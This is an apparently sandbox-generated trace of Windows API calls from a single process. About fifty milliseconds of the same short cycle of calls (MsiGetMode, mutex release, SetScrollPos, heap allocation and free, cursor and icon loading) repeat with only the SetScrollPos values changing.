	[0095.405] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.405] GetCurrentProcessId () returned 0xb50
	[0095.405] GetLastError () returned 0x578
	[0095.405] GetLastError () returned 0x578
	[0095.405] GetLastError () returned 0x0
	[0095.405] ReleaseMutex (hMutex=0x360) returned 1
	[0095.405] CloseHandle (hObject=0x360) returned 1
	[0095.405] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1022028622, bRedraw=1) returned 0
	[0095.405] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.405] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.405] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.405] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.405] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.405] GetCurrentProcessId () returned 0xb50
	[0095.405] GetLastError () returned 0x578
	[0095.405] GetLastError () returned 0x578
	[0095.405] GetLastError () returned 0x0
	[0095.405] ReleaseMutex (hMutex=0x360) returned 1
	[0095.405] CloseHandle (hObject=0x360) returned 1
	[0095.405] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=677963004, bRedraw=1) returned 0
	[0095.405] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.405] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.406] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.406] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.406] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.406] GetCurrentProcessId () returned 0xb50
	[0095.406] GetLastError () returned 0x578
	[0095.406] GetLastError () returned 0x578
	[0095.406] GetLastError () returned 0x0
	[0095.406] ReleaseMutex (hMutex=0x360) returned 1
	[0095.406] CloseHandle (hObject=0x360) returned 1
	[0095.406] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=343527338, bRedraw=1) returned 0
	[0095.406] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.406] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.406] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.406] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.406] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.406] GetCurrentProcessId () returned 0xb50
	[0095.406] GetLastError () returned 0x578
	[0095.406] GetLastError () returned 0x578
	[0095.406] GetLastError () returned 0x0
	[0095.406] ReleaseMutex (hMutex=0x360) returned 1
	[0095.406] CloseHandle (hObject=0x360) returned 1
	[0095.406] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=18721624, bRedraw=1) returned 0
	[0095.406] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.407] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.407] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.407] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.407] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.407] GetCurrentProcessId () returned 0xb50
	[0095.407] GetLastError () returned 0x578
	[0095.407] GetLastError () returned 0x578
	[0095.407] GetLastError () returned 0x0
	[0095.407] ReleaseMutex (hMutex=0x360) returned 1
	[0095.407] CloseHandle (hObject=0x360) returned 1
	[0095.407] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-296454138, bRedraw=1) returned 0
	[0095.407] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.407] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.407] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.407] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.407] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.407] GetCurrentProcessId () returned 0xb50
	[0095.407] GetLastError () returned 0x578
	[0095.407] GetLastError () returned 0x578
	[0095.407] GetLastError () returned 0x0
	[0095.407] ReleaseMutex (hMutex=0x360) returned 1
	[0095.407] CloseHandle (hObject=0x360) returned 1
	[0095.407] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-601999948, bRedraw=1) returned 0
	[0095.408] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.408] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.408] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.408] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.408] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.408] GetCurrentProcessId () returned 0xb50
	[0095.408] GetLastError () returned 0x578
	[0095.408] GetLastError () returned 0x578
	[0095.408] GetLastError () returned 0x0
	[0095.408] ReleaseMutex (hMutex=0x360) returned 1
	[0095.408] CloseHandle (hObject=0x360) returned 1
	[0095.408] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-897915806, bRedraw=1) returned 0
	[0095.408] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.408] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.408] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.408] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.408] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.408] GetCurrentProcessId () returned 0xb50
	[0095.408] GetLastError () returned 0x578
	[0095.408] GetLastError () returned 0x578
	[0095.408] GetLastError () returned 0x0
	[0095.408] ReleaseMutex (hMutex=0x360) returned 1
	[0095.408] CloseHandle (hObject=0x360) returned 1
	[0095.409] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1184201712, bRedraw=1) returned 0
	[0095.409] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.409] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.409] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.409] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.409] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.409] GetCurrentProcessId () returned 0xb50
	[0095.409] GetLastError () returned 0x578
	[0095.409] GetLastError () returned 0x578
	[0095.409] GetLastError () returned 0x0
	[0095.409] ReleaseMutex (hMutex=0x360) returned 1
	[0095.409] CloseHandle (hObject=0x360) returned 1
	[0095.409] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1460857666, bRedraw=1) returned 0
	[0095.409] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.409] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.409] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.409] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.409] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.409] GetCurrentProcessId () returned 0xb50
	[0095.409] GetLastError () returned 0x578
	[0095.409] GetLastError () returned 0x578
	[0095.410] GetLastError () returned 0x0
	[0095.410] ReleaseMutex (hMutex=0x360) returned 1
	[0095.410] CloseHandle (hObject=0x360) returned 1
	[0095.410] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1727883668, bRedraw=1) returned 0
	[0095.410] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.410] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.410] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.410] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.410] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.410] GetCurrentProcessId () returned 0xb50
	[0095.410] GetLastError () returned 0x578
	[0095.410] GetLastError () returned 0x578
	[0095.410] GetLastError () returned 0x0
	[0095.410] ReleaseMutex (hMutex=0x360) returned 1
	[0095.410] CloseHandle (hObject=0x360) returned 1
	[0095.410] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1985279718, bRedraw=1) returned 0
	[0095.410] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.410] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.410] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.410] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.410] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.410] GetCurrentProcessId () returned 0xb50
	[0095.410] GetLastError () returned 0x578
	[0095.411] GetLastError () returned 0x578
	[0095.411] GetLastError () returned 0x0
	[0095.411] ReleaseMutex (hMutex=0x360) returned 1
	[0095.411] CloseHandle (hObject=0x360) returned 1
	[0095.411] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2061921480, bRedraw=1) returned 0
	[0095.411] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.411] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.411] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.411] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.411] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.411] GetCurrentProcessId () returned 0xb50
	[0095.411] GetLastError () returned 0x578
	[0095.411] GetLastError () returned 0x578
	[0095.411] GetLastError () returned 0x0
	[0095.411] ReleaseMutex (hMutex=0x360) returned 1
	[0095.411] CloseHandle (hObject=0x360) returned 1
	[0095.411] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1823785334, bRedraw=1) returned 0
	[0095.411] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.411] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.411] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.411] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.412] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.412] GetCurrentProcessId () returned 0xb50
	[0095.412] GetLastError () returned 0x578
	[0095.412] GetLastError () returned 0x578
	[0095.412] GetLastError () returned 0x0
	[0095.412] ReleaseMutex (hMutex=0x360) returned 1
	[0095.412] CloseHandle (hObject=0x360) returned 1
	[0095.412] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1595279140, bRedraw=1) returned 0
	[0095.412] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.412] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.412] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.412] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.412] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.412] GetCurrentProcessId () returned 0xb50
	[0095.412] GetLastError () returned 0x578
	[0095.412] GetLastError () returned 0x578
	[0095.412] GetLastError () returned 0x0
	[0095.412] ReleaseMutex (hMutex=0x360) returned 1
	[0095.412] CloseHandle (hObject=0x360) returned 1
	[0095.412] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1376402898, bRedraw=1) returned 0
	[0095.412] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.412] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.412] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.413] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.413] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.413] GetCurrentProcessId () returned 0xb50
	[0095.413] GetLastError () returned 0x578
	[0095.413] GetLastError () returned 0x578
	[0095.413] GetLastError () returned 0x0
	[0095.413] ReleaseMutex (hMutex=0x360) returned 1
	[0095.413] CloseHandle (hObject=0x360) returned 1
	[0095.413] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1167156608, bRedraw=1) returned 0
	[0095.413] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.413] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.413] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.413] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.413] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.413] GetCurrentProcessId () returned 0xb50
	[0095.413] GetLastError () returned 0x578
	[0095.413] GetLastError () returned 0x578
	[0095.413] GetLastError () returned 0x0
	[0095.413] ReleaseMutex (hMutex=0x360) returned 1
	[0095.413] CloseHandle (hObject=0x360) returned 1
	[0095.413] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=967540270, bRedraw=1) returned 0
	[0095.413] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.413] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.414] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.414] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.414] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.414] GetCurrentProcessId () returned 0xb50
	[0095.414] GetLastError () returned 0x578
	[0095.414] GetLastError () returned 0x578
	[0095.414] GetLastError () returned 0x0
	[0095.414] ReleaseMutex (hMutex=0x360) returned 1
	[0095.414] CloseHandle (hObject=0x360) returned 1
	[0095.414] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=777553884, bRedraw=1) returned 0
	[0095.414] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.414] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.414] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.414] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.414] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.414] GetCurrentProcessId () returned 0xb50
	[0095.414] GetLastError () returned 0x578
	[0095.414] GetLastError () returned 0x578
	[0095.414] GetLastError () returned 0x0
	[0095.414] ReleaseMutex (hMutex=0x360) returned 1
	[0095.414] CloseHandle (hObject=0x360) returned 1
	[0095.414] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=597197450, bRedraw=1) returned 0
	[0095.414] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.414] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.415] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.415] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.415] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.415] GetCurrentProcessId () returned 0xb50
	[0095.415] GetLastError () returned 0x578
	[0095.415] GetLastError () returned 0x578
	[0095.415] GetLastError () returned 0x0
	[0095.415] ReleaseMutex (hMutex=0x360) returned 1
	[0095.415] CloseHandle (hObject=0x360) returned 1
	[0095.415] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=426470968, bRedraw=1) returned 0
	[0095.415] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.415] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.415] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.415] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.415] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.415] GetCurrentProcessId () returned 0xb50
	[0095.415] GetLastError () returned 0x578
	[0095.415] GetLastError () returned 0x578
	[0095.415] GetLastError () returned 0x0
	[0095.415] ReleaseMutex (hMutex=0x360) returned 1
	[0095.415] CloseHandle (hObject=0x360) returned 1
	[0095.415] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=265374438, bRedraw=1) returned 0
	[0095.416] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.416] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.416] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.416] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.416] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.416] GetCurrentProcessId () returned 0xb50
	[0095.416] GetLastError () returned 0x578
	[0095.416] GetLastError () returned 0x578
	[0095.416] GetLastError () returned 0x0
	[0095.416] ReleaseMutex (hMutex=0x360) returned 1
	[0095.416] CloseHandle (hObject=0x360) returned 1
	[0095.416] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=113907860, bRedraw=1) returned 0
	[0095.416] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.416] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.416] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.416] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.416] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.416] GetCurrentProcessId () returned 0xb50
	[0095.416] GetLastError () returned 0x578
	[0095.416] GetLastError () returned 0x578
	[0095.416] GetLastError () returned 0x0
	[0095.416] ReleaseMutex (hMutex=0x360) returned 1
	[0095.416] CloseHandle (hObject=0x360) returned 1
	[0095.416] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-27928766, bRedraw=1) returned 0
	[0095.417] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.417] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.417] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.417] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.417] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.417] GetCurrentProcessId () returned 0xb50
	[0095.417] GetLastError () returned 0x578
	[0095.417] GetLastError () returned 0x578
	[0095.417] GetLastError () returned 0x0
	[0095.417] ReleaseMutex (hMutex=0x360) returned 1
	[0095.417] CloseHandle (hObject=0x360) returned 1
	[0095.417] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-160135440, bRedraw=1) returned 0
	[0095.417] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.417] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.417] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.417] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.417] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.417] GetCurrentProcessId () returned 0xb50
	[0095.417] GetLastError () returned 0x578
	[0095.417] GetLastError () returned 0x578
	[0095.417] GetLastError () returned 0x0
	[0095.417] ReleaseMutex (hMutex=0x360) returned 1
	[0095.417] CloseHandle (hObject=0x360) returned 1
	[0095.417] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-282712162, bRedraw=1) returned 0
	[0095.418] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.418] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.418] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.418] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.418] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.452] GetCurrentProcessId () returned 0xb50
	[0095.452] GetLastError () returned 0x578
	[0095.452] GetLastError () returned 0x578
	[0095.452] GetLastError () returned 0x0
	[0095.452] ReleaseMutex (hMutex=0x360) returned 1
	[0095.452] CloseHandle (hObject=0x360) returned 1
	[0095.452] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-395658932, bRedraw=1) returned 0
	[0095.452] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.452] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.453] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.453] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.453] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.453] GetCurrentProcessId () returned 0xb50
	[0095.453] GetLastError () returned 0x578
	[0095.453] GetLastError () returned 0x578
	[0095.453] GetLastError () returned 0x0
	[0095.453] ReleaseMutex (hMutex=0x360) returned 1
	[0095.453] CloseHandle (hObject=0x360) returned 1
	[0095.453] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-498975750, bRedraw=1) returned 0
	[0095.453] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.453] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.453] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.453] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.453] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.453] GetCurrentProcessId () returned 0xb50
	[0095.453] GetLastError () returned 0x578
	[0095.453] GetLastError () returned 0x578
	[0095.453] GetLastError () returned 0x0
	[0095.453] ReleaseMutex (hMutex=0x360) returned 1
	[0095.453] CloseHandle (hObject=0x360) returned 1
	[0095.453] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-592662616, bRedraw=1) returned 0
	[0095.453] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.454] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.454] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.454] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.454] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.454] GetCurrentProcessId () returned 0xb50
	[0095.454] GetLastError () returned 0x578
	[0095.454] GetLastError () returned 0x578
	[0095.454] GetLastError () returned 0x0
	[0095.454] ReleaseMutex (hMutex=0x360) returned 1
	[0095.454] CloseHandle (hObject=0x360) returned 1
	[0095.454] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-676719530, bRedraw=1) returned 0
	[0095.454] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.454] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.454] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.454] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.454] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.454] GetCurrentProcessId () returned 0xb50
	[0095.454] GetLastError () returned 0x578
	[0095.454] GetLastError () returned 0x578
	[0095.454] GetLastError () returned 0x0
	[0095.454] ReleaseMutex (hMutex=0x360) returned 1
	[0095.454] CloseHandle (hObject=0x360) returned 1
	[0095.454] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-751146492, bRedraw=1) returned 0
	[0095.455] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.455] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.455] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.455] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.455] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.455] GetCurrentProcessId () returned 0xb50
	[0095.455] GetLastError () returned 0x578
	[0095.455] GetLastError () returned 0x578
	[0095.455] GetLastError () returned 0x0
	[0095.455] ReleaseMutex (hMutex=0x360) returned 1
	[0095.455] CloseHandle (hObject=0x360) returned 1
	[0095.455] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-815943502, bRedraw=1) returned 0
	[0095.455] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.455] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.455] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.455] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.455] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.455] GetCurrentProcessId () returned 0xb50
	[0095.455] GetLastError () returned 0x578
	[0095.455] GetLastError () returned 0x578
	[0095.455] GetLastError () returned 0x0
	[0095.455] ReleaseMutex (hMutex=0x360) returned 1
	[0095.455] CloseHandle (hObject=0x360) returned 1
	[0095.456] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-871110560, bRedraw=1) returned 0
	[0095.456] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.456] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.456] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.456] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.456] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.456] GetCurrentProcessId () returned 0xb50
	[0095.456] GetLastError () returned 0x578
	[0095.456] GetLastError () returned 0x578
	[0095.456] GetLastError () returned 0x0
	[0095.456] ReleaseMutex (hMutex=0x360) returned 1
	[0095.456] CloseHandle (hObject=0x360) returned 1
	[0095.456] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-916647666, bRedraw=1) returned 0
	[0095.456] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.456] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.456] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.456] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.456] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.456] GetCurrentProcessId () returned 0xb50
	[0095.456] GetLastError () returned 0x578
